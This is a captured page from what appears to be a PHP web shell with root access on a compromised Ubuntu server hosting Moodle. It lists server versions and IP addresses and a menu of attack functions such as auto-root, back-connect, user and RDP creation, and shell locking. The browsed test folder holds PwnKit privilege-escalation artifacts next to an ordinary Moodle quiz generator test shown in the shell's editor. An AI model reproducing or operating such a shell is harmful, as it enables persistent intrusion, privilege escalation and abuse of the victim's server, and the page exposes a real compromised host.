Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
quiz /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
external
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
generator
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
attempt_test.php
19.42
KB
-rwxrwxrwx
attempt_walkthrough_from_csv_t...
15.62
KB
-rwxrwxrwx
attempt_walkthrough_test.php
13.49
KB
-rwxrwxrwx
attempts_test.php
40.52
KB
-rwxrwxrwx
calendar_event_modified_test.p...
18.63
KB
-rwxrwxrwx
events_test.php
31.16
KB
-rwxrwxrwx
external_test.php
84.22
KB
-rwxrwxrwx
generator_test.php
5.02
KB
-rwxrwxrwx
lib_test.php
44.21
KB
-rwxrwxrwx
local_structure_slot_random_te...
16.19
KB
-rwxrwxrwx
locallib_test.php
31.79
KB
-rwxrwxrwx
privacy_legacy_quizaccess_poly...
6.92
KB
-rwxrwxrwx
privacy_provider_test.php
20.39
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
quiz_question_bank_view_test.p...
2.88
KB
-rwxrwxrwx
quizdisplayoptions_test.php
3.76
KB
-rwxrwxrwx
quizobj_test.php
2.29
KB
-rwxrwxrwx
repaginate_test.php
10.74
KB
-rwxrwxrwx
reportlib_test.php
6.48
KB
-rwxrwxrwx
restore_date_test.php
4.5
KB
-rwxrwxrwx
restore_override_test.php
3.85
KB
-rwxrwxrwx
structure_test.php
39.42
KB
-rwxrwxrwx
tags_test.php
3.86
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generator_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * PHPUnit data generator tests * * @package mod_quiz * @category phpunit * @copyright 2012 Matt Petro * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * PHPUnit data generator testcase * * @package mod_quiz * @category phpunit * @copyright 2012 Matt Petro * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @covers \mod_quiz_generator */ class mod_quiz_generator_testcase extends advanced_testcase { public function test_generator() { global $DB, $SITE; $this->resetAfterTest(true); $this->assertEquals(0, $DB->count_records('quiz')); /** @var \mod_quiz_generator $generator */ $generator = $this->getDataGenerator()->get_plugin_generator('mod_quiz'); $this->assertInstanceOf('mod_quiz_generator', $generator); $this->assertEquals('quiz', $generator->get_modulename()); $generator->create_instance(array('course'=>$SITE->id)); $generator->create_instance(array('course'=>$SITE->id)); $createtime = time(); $quiz = $generator->create_instance(array('course' => $SITE->id, 'timecreated' => 0)); $this->assertEquals(3, $DB->count_records('quiz')); $cm = get_coursemodule_from_instance('quiz', $quiz->id); $this->assertEquals($quiz->id, $cm->instance); $this->assertEquals('quiz', $cm->modname); $this->assertEquals($SITE->id, $cm->course); $context = context_module::instance($cm->id); $this->assertEquals($quiz->cmid, $context->instanceid); $this->assertEqualsWithDelta($createtime, $DB->get_field('quiz', 'timecreated', ['id' => $cm->instance]), 2); } public function test_generating_a_user_override() { $this->resetAfterTest(true); $generator = $this->getDataGenerator(); $course = $generator->create_course(); $user = $generator->create_user(); $quiz = $generator->create_module('quiz', ['course' => $course->id]); $generator->enrol_user($user->id, $course->id, 'student'); /** @var \mod_quiz_generator $quizgenerator */ $quizgenerator = $generator->get_plugin_generator('mod_quiz'); $quizgenerator->create_override([ 'quiz' => $quiz->id, 'userid' => $user->id, 'timeclose' => strtotime('2022-10-20'), ]); // Check the corresponding calendar event now exists. $events = calendar_get_events(strtotime('2022-01-01'), strtotime('2022-12-31'), $user->id, false, $course->id); $this->assertCount(1, $events); $event = reset($events); $this->assertEquals($user->id, $event->userid); $this->assertEquals(0, $event->groupid); $this->assertEquals(0, $event->courseid); $this->assertEquals('quiz', $event->modulename); $this->assertEquals($quiz->id, $event->instance); $this->assertEquals('close', $event->eventtype); $this->assertEquals(strtotime('2022-10-20'), $event->timestart); } public function test_generating_a_group_override() { $this->resetAfterTest(true); $generator = $this->getDataGenerator(); $course = $generator->create_course(); $quiz = $generator->create_module('quiz', ['course' => $course->id]); $group = $generator->create_group(['courseid' => $course->id]); /** @var \mod_quiz_generator $quizgenerator */ $quizgenerator = $generator->get_plugin_generator('mod_quiz'); $quizgenerator->create_override([ 'quiz' => $quiz->id, 'groupid' => $group->id, 'timeclose' => strtotime('2022-10-20'), ]); // Check the corresponding calendar event now exists. $events = calendar_get_events(strtotime('2022-01-01'), strtotime('2022-12-31'), false, $group->id, $course->id); $this->assertCount(1, $events); $event = reset($events); $this->assertEquals(0, $event->userid); $this->assertEquals($group->id, $event->groupid); $this->assertEquals($course->id, $event->courseid); $this->assertEquals('quiz', $event->modulename); $this->assertEquals($quiz->id, $event->instance); $this->assertEquals('close', $event->eventtype); $this->assertEquals(strtotime('2022-10-20'), $event->timestart); } }
Close